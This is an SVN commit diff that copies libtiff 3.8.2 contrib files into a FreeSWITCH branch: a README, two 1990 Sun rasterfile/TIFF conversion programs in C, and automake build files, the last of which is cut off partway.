+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ras/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+Sun May 19 22:28:16 PDT 1991
+
+These programs are from Patrick Naughton (naughton@wind.sun.com).
+I've tried to update them to reflect changes to the library, but
+I am unable to verify that they operate properly, because they
+require the Sun pixrect library.
+
+Please contact Patrick directly if you have questions/problems.
+
+	Sam

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/ras2tif.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/ras2tif.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ras/ras2tif.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/ras2tif.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/ras2tif.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,247 @@
+#ifndef lint
+static char sccsid[] = "@(#)ras2tif.c 1.2 90/03/06";
+#endif
+/*-
+ * ras2tif.c - Converts from a Sun Rasterfile to a Tagged Image File.
+ *
+ * Copyright (c) 1990 by Sun Microsystems, Inc.
+ *
+ * Author: Patrick J. Naughton
+ * naughton@wind.sun.com
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation.
+ *
+ * This file is provided AS IS with no warranties of any kind.  The author
+ * shall have no liability with respect to the infringement of copyrights,
+ * trade secrets or any patents by this file or any part thereof.  In no
+ * event will the author be liable for any lost revenue or profits or
+ * other special, indirect and consequential damages.
+ *
+ * Comments and additions should be sent to the author:
+ *
+ *                     Patrick J. Naughton
+ *                     Sun Microsystems
+ *                     2550 Garcia Ave, MS 14-40
+ *                     Mountain View, CA 94043
+ *                     (415) 336-1080
+ *
+ * Revision History:
+ * 11-Jan-89: Created.
+ * 06-Mar-90: fix bug in SCALE() macro.
+ *	      got rid of xres and yres, (they weren't working anyways).
+ *	      fixed bpsl calculation.
+ * 25-Nov-99: y2k fix (year as 1900 + tm_year) <mike@onshore.com>
+ *
+ * Description:
+ *   This program takes a Sun Rasterfile [see rasterfile(5)] as input and
+ * writes a MicroSoft/Aldus "Tagged Image File Format" image or "TIFF" file.
+ * The input file may be standard input, but the output TIFF file must be a
+ * real file since seek(2) is used.
+ */
+
+#include <stdio.h>
+#include <sys/time.h>
+#include <pixrect/pixrect_hs.h>
+#include "tiffio.h"
+
+typedef int boolean;
+#define True (1)
+#define False (0)
+#define	SCALE(x)	(((x)*((1L<<16)-1))/255)
+
+boolean     Verbose = False;
+boolean     dummyinput = False;
+char       *pname;		/* program name (used for error messages) */
+
+void
+error(s1, s2)
+    char       *s1,
+               *s2;
+{
+    fprintf(stderr, s1, pname, s2);
+    exit(1);
+}
+
+void
+usage()
+{
+    error("usage: %s -[vq] [-|rasterfile] TIFFfile\n", NULL);
+}
+
+
+main(argc, argv)
+    int         argc;
+    char       *argv[];
+{
+    char       *inf = NULL;
+    char       *outf = NULL;
+    FILE       *fp;
+    int         depth,
+                i;
+    long        row;
+    TIFF       *tif;
+    Pixrect    *pix;		/* The Sun Pixrect */
+    colormap_t  Colormap;	/* The Pixrect Colormap */
+    u_short     red[256],
+                green[256],
+                blue[256];
+    struct tm  *ct;
+    struct timeval tv;
+    long        width,
+                height;
+    long        rowsperstrip;
+    int         year; 
+    short       photometric;
+    short       samplesperpixel;
+    short       bitspersample;
+    int         bpsl;
+    static char *version = "ras2tif 1.0";
+    static char *datetime = "1990:01:01 12:00:00";
+
+    gettimeofday(&tv, (struct timezone *) NULL);
+    ct = localtime(&tv.tv_sec);
+    year=1900 + ct->tm_year; 
+    sprintf(datetime, "%04d:%02d:%02d %02d:%02d:%02d",
+	    year, ct->tm_mon + 1, ct->tm_mday,
+	    ct->tm_hour, ct->tm_min, ct->tm_sec);
+
+    setbuf(stderr, NULL);
+    pname = argv[0];
+
+    while (--argc) {
+	if ((++argv)[0][0] == '-') {
+	    switch (argv[0][1]) {
+	    case 'v':
+		Verbose = True;
+		break;
+	    case 'q':
+		usage();
+		break;
+	    case '\0':
+		if (inf == NULL)
+		    dummyinput = True;
+		else
+		    usage();
+		break;
+	    default:
+		fprintf(stderr, "%s: illegal option -%c.\n", pname,
+			argv[0][1]);
+		exit(1);
+	    }
+	} else if (inf == NULL && !dummyinput) {
+	    inf = argv[0];
+	} else if (outf == NULL)
+	    outf = argv[0];
+	else
+	    usage();
+    }
+
+    if (outf == NULL)
+	error("%s: can't write output file to a stream.\n", NULL);
+
+    if (dummyinput || inf == NULL) {
+	inf = "Standard Input";
+	fp = stdin;
+    } else if ((fp = fopen(inf, "r")) == NULL)
+	error("%s: %s couldn't be opened.\n", inf);
+
+    if (Verbose)
+	fprintf(stderr, "Reading rasterfile from %s...", inf);
+
+    pix = pr_load(fp, &Colormap);
+    if (pix == NULL)
+	error("%s: %s is not a raster file.\n", inf);
+
+    if (Verbose)
+	fprintf(stderr, "done.\n");
+
+    if (Verbose)
+	fprintf(stderr, "Writing %s...", outf);
+
+    tif = TIFFOpen(outf, "w");
+
+    if (tif == NULL)
+	error("%s: error opening TIFF file %s", outf);
+
+    width = pix->pr_width;
+    height = pix->pr_height;
+    depth = pix->pr_depth;
+
+    switch (depth) {
+    case 1:
+	samplesperpixel = 1;
+	bitspersample = 1;
+	photometric = PHOTOMETRIC_MINISBLACK;
+	break;
+    case 8:
+	samplesperpixel = 1;
+	bitspersample = 8;
+	photometric = PHOTOMETRIC_PALETTE;
+	break;
+    case 24:
+	samplesperpixel = 3;
+	bitspersample = 8;
+	photometric = PHOTOMETRIC_RGB;
+	break;
+    case 32:
+	samplesperpixel = 4;
+	bitspersample = 8;
+	photometric = PHOTOMETRIC_RGB;
+	break;
+    default:
+	error("%s: bogus depth: %d\n", depth);
+    }
+
+    bpsl = ((depth * width + 15) >> 3) & ~1;
+    rowsperstrip = (8 * 1024) / bpsl;
+
+    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width);
+    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, height);
+    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bitspersample);
+    TIFFSetField(tif, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+    TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_LZW);
+    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, photometric);
+    TIFFSetField(tif, TIFFTAG_DOCUMENTNAME, inf);
+    TIFFSetField(tif, TIFFTAG_IMAGEDESCRIPTION, "converted Sun rasterfile");
+    TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, samplesperpixel);
+    TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+    TIFFSetField(tif, TIFFTAG_STRIPBYTECOUNTS, height / rowsperstrip);
+    TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(tif, TIFFTAG_SOFTWARE, version);
+    TIFFSetField(tif, TIFFTAG_DATETIME, datetime);
+
+    memset(red, 0, sizeof(red));
+    memset(green, 0, sizeof(green));
+    memset(blue, 0, sizeof(blue));
+    if (depth == 8) {
+	TIFFSetField(tif, TIFFTAG_COLORMAP, red, green, blue);
+	for (i = 0; i < Colormap.length; i++) {
+	    red[i] = SCALE(Colormap.map[0][i]);
+	    green[i] = SCALE(Colormap.map[1][i]);
+	    blue[i] = SCALE(Colormap.map[2][i]);
+	}
+    }
+    if (Verbose)
+	fprintf(stderr, "%dx%dx%d image, ", width, height, depth);
+
+    for (row = 0; row < height; row++)
+	if (TIFFWriteScanline(tif,
+			      (u_char *) mprd_addr(mpr_d(pix), 0, row),
+			      row, 0) < 0) {
+	    fprintf("failed a scanline write (%d)\n", row);
+	    break;
+	}
+    TIFFFlushData(tif);
+    TIFFClose(tif);
+
+    if (Verbose)
+	fprintf(stderr, "done.\n");
+
+    pr_destroy(pix);
+
+    exit(0);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/tif2ras.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/tif2ras.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ras/tif2ras.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/tif2ras.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/tif2ras.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,337 @@
+#ifndef lint
+static char id[] = "$Id: tif2ras.c,v 1.2 1999/11/28 20:15:36 mwelles Exp $"; 
+#endif
+/*-
+ * tif2ras.c - Converts from a Tagged Image File Format image to a Sun Raster.
+ *
+ * Copyright (c) 1990 by Sun Microsystems, Inc.
+ *
+ * Author: Patrick J. Naughton
+ * naughton@wind.sun.com
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation.
+ *
+ * This file is provided AS IS with no warranties of any kind.  The author
+ * shall have no liability with respect to the infringement of copyrights,
+ * trade secrets or any patents by this file or any part thereof.  In no
+ * event will the author be liable for any lost revenue or profits or
+ * other special, indirect and consequential damages.
+ *
+ * Comments and additions should be sent to the author:
+ *
+ *                     Patrick J. Naughton
+ *                     Sun Microsystems
+ *                     2550 Garcia Ave, MS 14-40
+ *                     Mountain View, CA 94043
+ *                     (415) 336-1080
+ *
+ * Revision History:
+ * 10-Jan-89: Created.
+ * 06-Mar-90: Change to byte encoded rasterfiles.
+ *	      fix bug in call to ReadScanline().
+ *	      fix bug in CVT() macro.
+ *	      fix assignment of td, (missing &).
+ *
+ * Description:
+ *   This program takes a MicroSoft/Aldus "Tagged Image File Format" image or
+ * "TIFF" file as input and writes a Sun Rasterfile [see rasterfile(5)].  The
+ * output file may be standard output, but the input TIFF file must be a real
+ * file since seek(2) is used.
+ */
+
+#include <stdio.h>
+#include <pixrect/pixrect_hs.h>
+#include "tiffio.h"
+
+typedef int boolean;
+#define True (1)
+#define False (0)
+#define	CVT(x)		(((x) * 255) / ((1L<<16)-1))
+
+boolean     Verbose = False;
+char       *pname;		/* program name (used for error messages) */
+
+void
+error(s1, s2)
+    char       *s1,
+               *s2;
+{
+    fprintf(stderr, s1, pname, s2);
+    exit(1);
+}
+
+void
+usage()
+{
+    error("usage: %s -[vq] TIFFfile [rasterfile]\n", NULL);
+}
+
+
+main(argc, argv)
+    int         argc;
+    char       *argv[];
+{
+    char       *inf = NULL;
+    char       *outf = NULL;
+    FILE       *fp;
+    long        width,
+                height;
+    int         depth,
+                numcolors;
+    register TIFF *tif;
+    TIFFDirectory *td;
+    register u_char *inp,
+               *outp;
+    register int col,
+                i;
+    register long row;
+    u_char     *Map = NULL;
+    u_char     *buf;
+    short	bitspersample;
+    short	samplesperpixel;
+    short	photometric;
+    u_short    *redcolormap,
+	       *bluecolormap,
+	       *greencolormap;
+
+    Pixrect    *pix;		/* The Sun Pixrect */
+    colormap_t  Colormap;	/* The Pixrect Colormap */
+    u_char      red[256],
+                green[256],
+                blue[256];
+
+    setbuf(stderr, NULL);
+    pname = argv[0];
+
+    while (--argc) {
+	if ((++argv)[0][0] == '-')
+	    switch (argv[0][1]) {
+	    case 'v':
+		Verbose = True;
+		break;
+	    case 'q':
+		usage();
+		break;
+	    default:
+		fprintf(stderr, "%s: illegal option -%c.\n", pname,
+			argv[0][1]);
+		exit(1);
+	    }
+	else if (inf == NULL)
+	    inf = argv[0];
+	else if (outf == NULL)
+	    outf = argv[0];
+	else
+	    usage();
+
+    }
+
+    if (inf == NULL)
+	error("%s: can't read input file from a stream.\n", NULL);
+
+    if (Verbose)
+	fprintf(stderr, "Reading %s...", inf);
+
+    tif = TIFFOpen(inf, "r");
+
+    if (tif == NULL)
+	error("%s: error opening TIFF file %s", inf);
+
+    if (Verbose)
+	TIFFPrintDirectory(tif, stderr, True, False, False);
+    TIFFGetField(tif, TIFFTAG_BITSPERSAMPLE, &bitspersample);
+    if (bitspersample > 8)
+	error("%s: can't handle more than 8-bits per sample\n", NULL);
+
+    TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+    switch (samplesperpixel) {
+    case 1:
+	if (bitspersample == 1)
+	    depth = 1;
+	else
+	    depth = 8;
+	break;
+    case 3:
+    case 4:
+	depth = 24;
+	break;
+    default:
+	error("%s: only handle 1-channel gray scale or 3-channel color\n");
+    }
+
+    TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &width);
+    TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &height);
+
+    if (Verbose)
+	fprintf(stderr, "%dx%dx%d image, ", width, height, depth);
+    if (Verbose)
+	fprintf(stderr, "%d bits/sample, %d samples/pixel, ",
+		bitspersample, samplesperpixel);
+
+    pix = mem_create(width, height, depth);
+    if (pix == (Pixrect *) NULL)
+	error("%s: can't allocate memory for output pixrect...\n", NULL);
+
+    numcolors = (1 << bitspersample);
+
+    TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
+    if (numcolors == 2) {
+	if (Verbose)
+	    fprintf(stderr, "monochrome ");
+	Colormap.type = RMT_NONE;
+	Colormap.length = 0;
+	Colormap.map[0] = Colormap.map[1] = Colormap.map[2] = NULL;
+    } else {
+	switch (photometric) {
+	case PHOTOMETRIC_MINISBLACK:
+	    if (Verbose)
+		fprintf(stderr, "%d graylevels (min=black), ", numcolors);
+	    Map = (u_char *) malloc(numcolors * sizeof(u_char));
+	    for (i = 0; i < numcolors; i++)
+		Map[i] = (255 * i) / numcolors;
+	    Colormap.type = RMT_EQUAL_RGB;
+	    Colormap.length = numcolors;
+	    Colormap.map[0] = Colormap.map[1] = Colormap.map[2] = Map;
+	    break;
+	case PHOTOMETRIC_MINISWHITE:
+	    if (Verbose)
+		fprintf(stderr, "%d graylevels (min=white), ", numcolors);
+	    Map = (u_char *) malloc(numcolors * sizeof(u_char));
+	    for (i = 0; i < numcolors; i++)
+		Map[i] = 255 - ((255 * i) / numcolors);
+	    Colormap.type = RMT_EQUAL_RGB;
+	    Colormap.length = numcolors;
+	    Colormap.map[0] = Colormap.map[1] = Colormap.map[2] = Map;
+	    break;
+	case PHOTOMETRIC_RGB:
+	    if (Verbose)
+		fprintf(stderr, "truecolor ");
+	    Colormap.type = RMT_NONE;
+	    Colormap.length = 0;
+	    Colormap.map[0] = Colormap.map[1] = Colormap.map[2] = NULL;
+	    break;
+	case PHOTOMETRIC_PALETTE:
+	    if (Verbose)
+		fprintf(stderr, "colormapped ");
+	    Colormap.type = RMT_EQUAL_RGB;
+	    Colormap.length = numcolors;
+	    memset(red, 0, sizeof(red));
+	    memset(green, 0, sizeof(green));
+	    memset(blue, 0, sizeof(blue));
+	    TIFFGetField(tif, TIFFTAG_COLORMAP,
+		&redcolormap, &greencolormap, &bluecolormap);
+	    for (i = 0; i < numcolors; i++) {
+		red[i] = (u_char) CVT(redcolormap[i]);
+		green[i] = (u_char) CVT(greencolormap[i]);
+		blue[i] = (u_char) CVT(bluecolormap[i]);
+	    }
+	    Colormap.map[0] = red;
+	    Colormap.map[1] = green;
+	    Colormap.map[2] = blue;
+	    break;
+	case PHOTOMETRIC_MASK:
+	    error("%s: Don't know how to handle PHOTOMETRIC_MASK\n");
+	    break;
+	case PHOTOMETRIC_DEPTH:
+	    error("%s: Don't know how to handle PHOTOMETRIC_DEPTH\n");
+	    break;
+	default:
+	    error("%s: unknown photometric (cmap): %d\n", photometric);
+	}
+    }
+
+    buf = (u_char *) malloc(TIFFScanlineSize(tif));
+    if (buf == NULL)
+	error("%s: can't allocate memory for scanline buffer...\n", NULL);
+
+    for (row = 0; row < height; row++) {
+	if (TIFFReadScanline(tif, buf, row, 0) < 0)
+	    error("%s: bad data read on line: %d\n", row);
+	inp = buf;
+	outp = (u_char *) mprd_addr(mpr_d(pix), 0, row);
+	switch (photometric) {
+	case PHOTOMETRIC_RGB:
+	    if (samplesperpixel == 4)
+		for (col = 0; col < width; col++) {
+		    *outp++ = *inp++;	/* Blue */
+		    *outp++ = *inp++;	/* Green */
+		    *outp++ = *inp++;	/* Red */
+		    inp++;	/* skip alpha channel */
+		}
+	    else
+		for (col = 0; col < width; col++) {
+		    *outp++ = *inp++;	/* Blue */
+		    *outp++ = *inp++;	/* Green */
+		    *outp++ = *inp++;	/* Red */
+		}
+	    break;
+	case PHOTOMETRIC_MINISWHITE:
+	case PHOTOMETRIC_MINISBLACK:
+	    switch (bitspersample) {
+	    case 1:
+		for (col = 0; col < ((width + 7) / 8); col++)
+		    *outp++ = *inp++;
+		break;
+	    case 2:
+		for (col = 0; col < ((width + 3) / 4); col++) {
+		    *outp++ = (*inp >> 6) & 3;
+		    *outp++ = (*inp >> 4) & 3;
+		    *outp++ = (*inp >> 2) & 3;
+		    *outp++ = *inp++ & 3;
+		}
+		break;
+	    case 4:
+		for (col = 0; col < width / 2; col++) {
+		    *outp++ = *inp >> 4;
+		    *outp++ = *inp++ & 0xf;
+		}
+		break;
+	    case 8:
+		for (col = 0; col < width; col++)
+		    *outp++ = *inp++;
+		break;
+	    default:
+		error("%s: bad bits/sample: %d\n", bitspersample);
+	    }
+	    break;
+	case PHOTOMETRIC_PALETTE:
+	    memcpy(outp, inp, width);
+	    break;
+	default:
+	    error("%s: unknown photometric (write): %d\n", photometric);
+	}
+    }
+
+    free((char *) buf);
+
+    if (Verbose)
+	fprintf(stderr, "done.\n");
+
+    if (outf == NULL || strcmp(outf, "Standard Output") == 0) {
+	outf = "Standard Output";
+	fp = stdout;
+    } else {
+	if (!(fp = fopen(outf, "w")))
+	    error("%s: %s couldn't be opened for writing.\n", outf);
+    }
+
+    if (Verbose)
+	fprintf(stderr, "Writing rasterfile in %s...", outf);
+
+    if (pr_dump(pix, fp, &Colormap, RT_BYTE_ENCODED, 0) == PIX_ERR)
+	error("%s: error writing Sun Rasterfile: %s\n", outf);
+
+    if (Verbose)
+	fprintf(stderr, "done.\n");
+
+    pr_destroy(pix);
+
+    if (fp != stdout)
+	fclose(fp);
+
+    exit(0);
+}

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/stream)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/stream/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README tiffstream.cpp tiffstream.h
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/stream/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/stream/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/stream
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
